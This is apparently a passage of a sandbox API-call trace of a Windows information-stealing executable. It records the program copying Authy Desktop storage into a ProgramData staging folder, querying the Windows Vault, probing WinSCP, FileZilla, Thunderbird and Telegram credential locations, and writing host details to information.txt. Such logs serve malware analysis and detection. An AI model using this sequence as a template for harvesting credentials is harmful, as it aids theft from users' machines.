dwFlags=0x0, lpMem=0x3340070 | out: hHeap=0x2360000) returned 1 [0143.459] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x8e) returned 0x3340070 [0143.459] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23611c0 | out: hHeap=0x2360000) returned 1 [0143.459] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x0e฀(", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0143.459] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x3340108 [0143.459] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x0e฀(", cchWideChar=4, lpMultiByteStr=0x3340108, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x0e?(", lpUsedDefaultChar=0x0) returned 4 [0143.459] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340108 | out: hHeap=0x2360000) returned 1 [0143.459] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x50) returned 0x23611c0 [0143.459] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x23611c0, cbMultiByte=78, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 78 [0143.459] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x9c) returned 0x2361218 [0143.459] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x23611c0, cbMultiByte=78, lpWideCharStr=0x2361218, cchWideChar=78 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Authy Desktop\\Local Storage\\leveldb\\\x0e?(") returned 78 [0143.459] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xa0) returned 0x3340330 [0143.459] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361218 | out: hHeap=0x2360000) returned 1 [0143.459] CopyFileW (lpExistingFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Authy Desktop\\Local Storage\\leveldb\\\x0e?(" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\authy desktop\\local storage\\leveldb\\\x0e?("), lpNewFileName="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft\\AuthyNew\\\x0e฀(" (normalized: "c:\\programdata\\h70j3bxqys8lvfgzf6vkcop1x\\files\\soft\\authynew\\\x0e฀("), bFailIfExists=1) returned 0 [0143.460] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340330 | out: hHeap=0x2360000) returned 1 [0143.460] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23611c0 | out: hHeap=0x2360000) returned 1 [0143.460] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340070 | out: hHeap=0x2360000) returned 1 [0143.460] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23614a8 | out: hHeap=0x2360000) returned 1 [0143.460] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361428 | out: hHeap=0x2360000) returned 1 [0143.460] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340048 | out: hHeap=0x2360000) returned 1 [0143.460] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23610d0 | out: hHeap=0x2360000) returned 1 [0143.460] GetVersionExA (in: lpVersionInformation=0x19f6b8*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x19f6b8*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x2, dwBuildNumber=0x23f0, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0143.464] LoadLibraryA (lpLibFileName="vaultcli.dll") returned 0x6f940000 [0144.271] GetProcAddress (hModule=0x6f940000, lpProcName="VaultOpenVault") returned 0x6f94bc10 [0144.272] GetProcAddress (hModule=0x6f940000, lpProcName="VaultCloseVault") returned 0x6f94bc90 [0144.272] GetProcAddress (hModule=0x6f940000, lpProcName="VaultEnumerateItems") returned 0x6f94b960 [0144.272] GetProcAddress (hModule=0x6f940000, lpProcName="VaultGetItem") returned 0x6f94bb70 [0144.272] GetProcAddress (hModule=0x6f940000, lpProcName="VaultFree") returned 0x6f957050 [0144.273] VaultOpenVault () returned 0x0 [0144.275] VaultEnumerateItems () returned 0x0 [0144.276] VaultCloseVault () returned 0x0 [0144.276] FreeLibrary (hLibModule=0x6f940000) returned 1 [0144.280] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Martin Prikryl\\WinSCP 2\\Configuration", ulOptions=0x0, samDesired=0x1, phkResult=0x19e88c | out: phkResult=0x19e88c*=0x0) returned 0x2 [0144.287] GetUserNameA (in: lpBuffer=0x19f318, pcbBuffer=0x19f314 | out: lpBuffer="RDhJ0CNFevzX", pcbBuffer=0x19f314) returned 1 [0144.361] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x2361428 [0144.361] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x50) returned 0x2361478 [0144.361] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361428 | out: hHeap=0x2360000) returned 1 [0144.361] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2361478, cbMultiByte=66, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 66 [0144.361] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x84) returned 0x3340048 [0144.361] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2361478, cbMultiByte=66, lpWideCharStr=0x3340048, cchWideChar=66 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\FileZilla\\recentservers.xml") returned 66 [0144.361] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x90) returned 0x23611c0 [0144.361] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340048 | out: hHeap=0x2360000) returned 1 [0144.361] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\FileZilla\\recentservers.xml" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\filezilla\\recentservers.xml")) returned 0xffffffff [0144.361] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23611c0 | out: hHeap=0x2360000) returned 1 [0144.361] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361478 | out: hHeap=0x2360000) returned 1 [0144.366] SHGetFolderPathA (in: hwnd=0x0, csidl=32794, hToken=0x0, dwFlags=0x0, pszPath=0x19f42c | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming") returned 0x0 [0144.367] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming", lpString2="\\Thunderbird\\Profiles\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Thunderbird\\Profiles\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Thunderbird\\Profiles\\" [0144.367] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Thunderbird\\Profiles\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Thunderbird\\Profiles\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Thunderbird\\Profiles\\" [0144.367] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Thunderbird\\Profiles\\", lpString2="..\\profiles.ini" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Thunderbird\\Profiles\\..\\profiles.ini") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Thunderbird\\Profiles\\..\\profiles.ini" [0144.367] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Thunderbird\\Profiles\\..\\profiles.ini" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\thunderbird\\profiles.ini")) returned 0xffffffff [0144.367] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x2361478 [0144.367] CreateDirectoryA (lpPathName="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Telegram" (normalized: "c:\\programdata\\h70j3bxqys8lvfgzf6vkcop1x\\files\\telegram"), lpSecurityAttributes=0x0) returned 1 [0144.368] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361478 | out: hHeap=0x2360000) returned 1 [0144.372] GetLastError () returned 0x3 [0144.373] SetLastError (dwErrCode=0x3) [0144.373] GetLastError () returned 0x3 [0144.373] SetLastError (dwErrCode=0x3) [0144.383] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x2361478 [0144.383] GetLastError () returned 0x3 [0144.383] SetLastError (dwErrCode=0x3) [0144.383] GetLastError () returned 0x3 [0144.383] SetLastError (dwErrCode=0x3) [0144.383] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x30) returned 0x23610d0 [0144.383] GetLastError () returned 0x3 [0144.384] SetLastError (dwErrCode=0x3) [0144.384] GetLastError () returned 0x3 [0144.384] SetLastError (dwErrCode=0x3) [0144.384] GetLastError () returned 0x3 [0144.384] SetLastError (dwErrCode=0x3) [0144.384] GetLastError () returned 0x3 [0144.384] SetLastError (dwErrCode=0x3) [0144.384] GetLastError () returned 0x3 [0144.384] SetLastError (dwErrCode=0x3) [0144.384] GetLastError () returned 0x3 [0144.384] SetLastError (dwErrCode=0x3) [0144.384] GetLastError () returned 0x3 [0144.384] SetLastError (dwErrCode=0x3) [0144.384] GetLastError () returned 0x3 [0144.398] SetLastError (dwErrCode=0x3) [0144.399] GetLastError () returned 0x3 [0144.399] SetLastError (dwErrCode=0x3) [0144.413] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Telegram Desktop\\\\*", lpFindFileData=0x19f1d8 | out: lpFindFileData=0x19f1d8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0144.487] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23610d0 | out: hHeap=0x2360000) returned 1 [0144.487] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361478 | out: hHeap=0x2360000) returned 1 [0144.487] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x2361478 [0144.491] GetLastError () returned 0x3 [0144.491] SetLastError (dwErrCode=0x3) [0144.496] GetLastError () returned 0x3 [0144.496] SetLastError (dwErrCode=0x3) [0144.496] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x30) returned 0x23610d0 [0144.496] GetLastError () returned 0x3 [0144.497] SetLastError (dwErrCode=0x3) [0144.497] GetLastError () returned 0x3 [0144.497] SetLastError (dwErrCode=0x3) [0144.497] GetLastError () returned 0x3 [0144.497] SetLastError (dwErrCode=0x3) [0144.497] GetLastError () returned 0x3 [0144.497] SetLastError (dwErrCode=0x3) [0144.497] GetLastError () returned 0x3 [0144.497] SetLastError (dwErrCode=0x3) [0144.497] GetLastError () returned 0x3 [0144.497] SetLastError (dwErrCode=0x3) [0144.497] GetLastError () returned 0x3 [0144.497] SetLastError (dwErrCode=0x3) [0144.497] GetLastError () returned 0x3 [0144.497] SetLastError (dwErrCode=0x3) [0144.497] GetLastError () returned 0x3 [0144.497] SetLastError (dwErrCode=0x3) [0144.498] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Telegram Desktop\\\\*", lpFindFileData=0x19f1d8 | out: lpFindFileData=0x19f1d8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0144.547] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23610d0 | out: hHeap=0x2360000) returned 1 [0144.547] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361478 | out: hHeap=0x2360000) returned 1 [0144.547] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x2361478 [0144.547] GetLastError () returned 0x3 [0144.547] SetLastError (dwErrCode=0x3) [0144.547] GetLastError () returned 0x3 [0144.547] SetLastError (dwErrCode=0x3) [0144.547] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x30) returned 0x23610d0 [0144.547] GetLastError () returned 0x3 [0144.547] SetLastError (dwErrCode=0x3) [0144.547] GetLastError () returned 0x3 [0144.548] SetLastError (dwErrCode=0x3) [0144.548] GetLastError () returned 0x3 [0144.548] SetLastError (dwErrCode=0x3) [0144.548] GetLastError () returned 0x3 [0144.548] SetLastError (dwErrCode=0x3) [0144.548] GetLastError () returned 0x3 [0144.548] SetLastError (dwErrCode=0x3) [0144.548] GetLastError () returned 0x3 [0144.548] SetLastError (dwErrCode=0x3) [0144.548] GetLastError () returned 0x3 [0144.548] SetLastError (dwErrCode=0x3) [0144.548] GetLastError () returned 0x3 [0144.549] SetLastError (dwErrCode=0x3) [0144.549] GetLastError () returned 0x3 [0144.549] SetLastError (dwErrCode=0x3) [0144.549] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Telegram Desktop\\\\*", lpFindFileData=0x19f1d8 | out: lpFindFileData=0x19f1d8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0144.549] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23610d0 | out: hHeap=0x2360000) returned 1 [0144.549] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361478 | out: hHeap=0x2360000) returned 1 [0144.549] DeleteFileA (lpFileName="c" (normalized: "c:\\programdata\\h70j3bxqys8lvfgzf6vkcop1x\\files\\c")) returned 0 [0144.550] DeleteFileA (lpFileName="h" (normalized: "c:\\programdata\\h70j3bxqys8lvfgzf6vkcop1x\\files\\h")) returned 0 [0144.555] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x30) returned 0x23610d0 [0144.555] SetCurrentDirectoryA (lpPathName="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X" (normalized: "c:\\programdata\\h70j3bxqys8lvfgzf6vkcop1x")) returned 1 [0144.556] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23610d0 | out: hHeap=0x2360000) returned 1 [0144.561] CreateFileW (lpFileName="files\\information.txt" (normalized: "c:\\programdata\\h70j3bxqys8lvfgzf6vkcop1x\\files\\information.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x19f68c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x28 [0144.562] GetFileType (hFile=0x28) returned 0x1 [0144.562] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x19f7b4 | out: lpSystemTimeAsFileTime=0x19f7b4*(dwLowDateTime=0x4d36022b, dwHighDateTime=0x1d7b434)) [0144.656] GetLastError () returned 0x0 [0144.656] SetLastError (dwErrCode=0x0) [0144.656] GetLastError () returned 0x0 [0144.660] SetLastError (dwErrCode=0x0) [0144.660] GetLastError () returned 0x0 [0144.660] SetLastError (dwErrCode=0x0) [0144.660] GetTimeZoneInformation (in: lpTimeZoneInformation=0x4d4e00 | out: lpTimeZoneInformation=0x4d4e00) returned 0x2 [0144.713] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="W. Europe Standard Time", cchWideChar=-1, lpMultiByteStr=0x4d2ce8, cbMultiByte=63, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f72c | out: lpMultiByteStr="W. Europe Standard Time", lpUsedDefaultChar=0x19f72c) returned 24 [0144.713] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="W. Europe Daylight Time", cchWideChar=-1, lpMultiByteStr=0x4d2d28, cbMultiByte=63, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f72c | out: lpMultiByteStr="W. Europe Daylight Time", lpUsedDefaultChar=0x19f72c) returned 24 [0144.714] GetLastError () returned 0x0 [0144.714] SetLastError (dwErrCode=0x0) [0144.719] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x1000) returned 0x2362758 [0144.772] GetLastError () returned 0x0 [0144.772] SetLastError (dwErrCode=0x0) [0144.772] GetLastError () returned 0x0 [0144.772] SetLastError (dwErrCode=0x0) [0144.772] GetLastError () returned 0x0 [0144.773] SetLastError (dwErrCode=0x0) [0144.773] GetLastError () returned 0x0 [0144.773] SetLastError (dwErrCode=0x0) [0144.773] GetLastError () returned 0x0 [0144.773] SetLastError (dwErrCode=0x0) [0144.773] GetLastError () returned 0x0 [0144.773] SetLastError (dwErrCode=0x0) [0144.773] GetLastError () returned 0x0 [0144.773] SetLastError (dwErrCode=0x0) [0144.773] GetLastError () returned 0x0 [0144.774] SetLastError (dwErrCode=0x0) [0144.774] GetLastError () returned 0x0 [0144.774] SetLastError (dwErrCode=0x0) [0144.774] GetLastError () returned 0x0 [0144.774] SetLastError (dwErrCode=0x0) [0144.774] GetLastError () returned 0x0 [0144.774] SetLastError (dwErrCode=0x0) [0144.774] GetLastError () returned 0x0 [0144.774] SetLastError (dwErrCode=0x0) [0144.774] GetLastError () returned 0x0 [0144.775] SetLastError (dwErrCode=0x0) [0144.775] GetLastError () returned 0x0 [0144.775] SetLastError (dwErrCode=0x0) [0144.775] GetLastError () returned 0x0 [0144.775] SetLastError (dwErrCode=0x0) [0144.775] GetLastError () returned 0x0 [0144.775] SetLastError (dwErrCode=0x0) [0144.775] GetLastError () returned 0x0 [0144.779] SetLastError (dwErrCode=0x0) [0144.779] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Cryptography", ulOptions=0x0, samDesired=0x20119, phkResult=0x19f5c0 | out: phkResult=0x19f5c0*=0x2fc) returned 0x0 [0144.779] RegQueryValueExA (in: hKey=0x2fc, lpValueName="MachineGuid", lpReserved=0x0, lpType=0x0, lpData=0x19f5c4, lpcbData=0x19f5bc*=0xff | out: lpType=0x0, lpData=0x19f5c4*=0x30, lpcbData=0x19f5bc*=0x25) returned 0x0 [0144.780] RegCloseKey (hKey=0x2fc) returned 0x0 [0144.782] CharToOemA (in: pSrc="03845cb8-7441-4a2f-8c0f-c90408af5778", pDst=0x19f6c4 | out: pDst="03845cb8-7441-4a2f-8c0f-c90408af5778") returned 1 [0144.783] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x30) returned 0x23610d0 [0144.783] GetLastError () returned 0x0 [0144.783] SetLastError (dwErrCode=0x0) [0144.785] GetLastError () returned 0x0 [0144.785] SetLastError (dwErrCode=0x0) [0144.785] GetLastError () returned 0x0 [0144.785] SetLastError (dwErrCode=0x0) [0144.786] GetLastError () returned 0x0 [0144.786] SetLastError (dwErrCode=0x0) [0144.786] GetLastError () returned 0x0 [0144.786] SetLastError (dwErrCode=0x0) [0144.786] GetLastError () returned 0x0 [0144.786] SetLastError (dwErrCode=0x0) [0144.786] GetLastError () returned 0x0 [0144.786] SetLastError (dwErrCode=0x0) [0144.786] GetLastError () returned 0x0 [0144.786] SetLastError (dwErrCode=0x0) [0144.786] GetLastError () returned 0x0 [0144.786] SetLastError (dwErrCode=0x0) [0144.786] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23610d0 | out: hHeap=0x2360000) returned 1 [0145.034] GetCurrentHwProfileA (in: lpHwProfileInfo=0x19f748 | out: lpHwProfileInfo=0x19f748) returned 1 [0145.036] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x30) returned 0x23610d0 [0145.036] GetLastError () returned 0x0 [0145.036] SetLastError (dwErrCode=0x0) [0145.036] GetLastError () returned 0x0 [0145.036] SetLastError (dwErrCode=0x0) [0145.036] GetLastError () returned 0x0 [0145.036] SetLastError (dwErrCode=0x0) [0145.036] GetLastError () returned 0x0 [0145.036] SetLastError (dwErrCode=0x0) [0145.036] GetLastError () returned 0x0 [0145.036] SetLastError (dwErrCode=0x0) [0145.036] GetLastError () returned 0x0 [0145.036] SetLastError (dwErrCode=0x0) [0145.036] GetLastError () returned 0x0 [0145.036] SetLastError (dwErrCode=0x0) [0145.036] GetLastError () returned 0x0 [0145.036] SetLastError (dwErrCode=0x0) [0145.037] GetLastError () returned 0x0 [0145.037] SetLastError (dwErrCode=0x0) [0145.037] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23610d0 | out: hHeap=0x2360000) returned 1 [0145.037] GetCurrentHwProfileA (in: lpHwProfileInfo=0x19f688 | out: lpHwProfileInfo=0x19f688) returned 1 [0145.037] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x30) returned 0x23610d0 [0145.041] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x2361428 [0145.041] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Cryptography", ulOptions=0x0, samDesired=0x20119, phkResult=0x19f500 | out: phkResult=0x19f500*=0x2fc) returned 0x0 [0145.091] RegQueryValueExA (in: hKey=0x2fc, lpValueName="MachineGuid", lpReserved=0x0, lpType=0x0, lpData=0x19f504, lpcbData=0x19f4fc*=0xff | out: lpType=0x0, lpData=0x19f504*=0x30, lpcbData=0x19f4fc*=0x25) returned 0x0 [0145.091] RegCloseKey (hKey=0x2fc) returned 0x0 [0145.091] CharToOemA (in: pSrc="03845cb8-7441-4a2f-8c0f-c90408af5778", pDst=0x19f604 | out: pDst="03845cb8-7441-4a2f-8c0f-c90408af5778") returned 1 [0145.091] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x30) returned 0x2361478 [0145.091] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x23614b0 [0145.091] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x30) returned 0x3340048 [0145.091] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23614b0 | out: hHeap=0x2360000) returned 1 [0145.091] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361478 | out: hHeap=0x2360000) returned 1 [0145.091] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361428 | out: hHeap=0x2360000) returned 1 [0145.091] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23610d0 | out: hHeap=0x2360000) returned 1 [0145.091] GetLastError () returned 0x0 [0145.092] SetLastError (dwErrCode=0x0) [0145.092] GetLastError () returned 0x0 [0145.092] SetLastError (dwErrCode=0x0) [0145.092] GetLastError () returned 0x0 [0145.092] SetLastError (dwErrCode=0x0) [0145.092] GetLastError () returned 0x0 [0145.092] SetLastError (dwErrCode=0x0) [0145.092] GetLastError () returned 0x0 [0145.092] SetLastError (dwErrCode=0x0) [0145.092] GetLastError () returned 0x0 [0145.092] SetLastError (dwErrCode=0x0) [0145.092] GetLastError () returned 0x0 [0145.093] SetLastError (dwErrCode=0x0) [0145.093] GetLastError () returned 0x0 [0145.093] SetLastError (dwErrCode=0x0) [0145.093] GetLastError () returned 0x0 [0145.093] SetLastError (dwErrCode=0x0) [0145.093] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340048 | out: hHeap=0x2360000) returned 1 [0145.093] GetCurrentProcessId () returned 0x748 [0145.100] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x748) returned 0x2fc [0145.100] GetModuleFileNameExA (in: hProcess=0x2fc, hModule=0x0, lpFilename=0x19f6bc, nSize=0x104 | out: lpFilename="C:\\Users\\RDhJ0CNFevzX\\Desktop\\7859d00a4fe195ff6eee7795be34ee9a351a0445acf0639cd999e9a3767dd1df.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\7859d00a4fe195ff6eee7795be34ee9a351a0445acf0639cd999e9a3767dd1df.exe")) returned 0x62 [0145.173] CloseHandle (hObject=0x2fc) returned 1 [0145.173] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x70) returned 0x3340048 [0145.173] GetLastError () returned 0x0 [0145.173] SetLastError (dwErrCode=0x0) [0145.173] GetLastError () returned 0x0 [0145.173] SetLastError (dwErrCode=0x0) [0145.173] GetLastError () returned 0x0 [0145.173] SetLastError (dwErrCode=0x0) [0145.174] GetLastError () returned 0x0 [0145.174] SetLastError (dwErrCode=0x0) [0145.174] GetLastError () returned 0x0 [0145.174] SetLastError (dwErrCode=0x0) [0145.174] GetLastError () returned 0x0 [0145.174] SetLastError (dwErrCode=0x0) [0145.174] GetLastError () returned 0x0 [0145.174] SetLastError (dwErrCode=0x0) [0145.174] GetLastError () returned 0x0 [0145.174] SetLastError (dwErrCode=0x0) [0145.174] GetLastError () returned 0x0 [0145.174] SetLastError (dwErrCode=0x0) [0145.174] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340048 | out: hHeap=0x2360000) returned 1 [0145.175] GetLastError () returned 0x0 [0145.175] SetLastError (dwErrCode=0x0) [0145.175] GetLastError () returned 0x0 [0145.175] SetLastError (dwErrCode=0x0) [0145.175] GetLastError () returned 0x0 [0145.175] SetLastError (dwErrCode=0x0) [0145.175] GetLastError () returned 0x0 [0145.175] SetLastError (dwErrCode=0x0) [0145.175] GetLastError () returned 0x0 [0145.175] SetLastError (dwErrCode=0x0) [0145.175] GetLastError () returned 0x0 [0145.175] SetLastError (dwErrCode=0x0) [0145.175] GetLastError () returned 0x0 [0145.175] SetLastError (dwErrCode=0x0) [0145.175] GetLastError () returned 0x0 [0145.176] SetLastError (dwErrCode=0x0) [0145.176] GetLastError () returned 0x0 [0145.176] SetLastError (dwErrCode=0x0) [0145.176] GetCurrentProcess () returned 0xffffffff [0145.176] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x19f7c4 | out: Wow64Process=0x19f7c4*=1) returned 1 [0145.182] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x19f5c0 | out: phkResult=0x19f5c0*=0x2fc) returned 0x0 [0145.237] RegQueryValueExA (in: hKey=0x2fc, lpValueName="ProductName", lpReserved=0x0, lpType=0x0, lpData=0x19f5c4, lpcbData=0x19f5bc*=0xff | out: lpType=0x0, lpData=0x19f5c4*=0x57, lpcbData=0x19f5bc*=0xf) returned 0x0 [0145.237] RegCloseKey (hKey=0x2fc) returned 0x0 [0145.239] CharToOemA (in: pSrc="Windows 10 Pro", pDst=0x19f6c4 | out: pDst="Windows 10 Pro") returned 1 [0145.239] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x2361428 [0145.239] GetLastError () returned 0x0 [0145.239] SetLastError (dwErrCode=0x0) [0145.239] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361428 | out: hHeap=0x2360000) returned 1 [0145.240] GetComputerNameA (in: lpBuffer=0x1977c4, nSize=0x1977c0 | out: lpBuffer="XC64ZB", nSize=0x1977c0) returned 1 [0145.240] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x2361428 [0145.241] GetLastError () returned 0xcb [0145.241] SetLastError (dwErrCode=0xcb) [0145.241] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361428 | out: hHeap=0x2360000) returned 1 [0145.241] GetUserNameA (in: lpBuffer=0x19f6c0, pcbBuffer=0x19f6bc | out: lpBuffer="RDhJ0CNFevzX", pcbBuffer=0x19f6bc) returned 1 [0145.242] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x2361428 [0145.242] GetLastError () returned 0xcb [0145.243] SetLastError (dwErrCode=0xcb) [0145.243] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361428 | out: 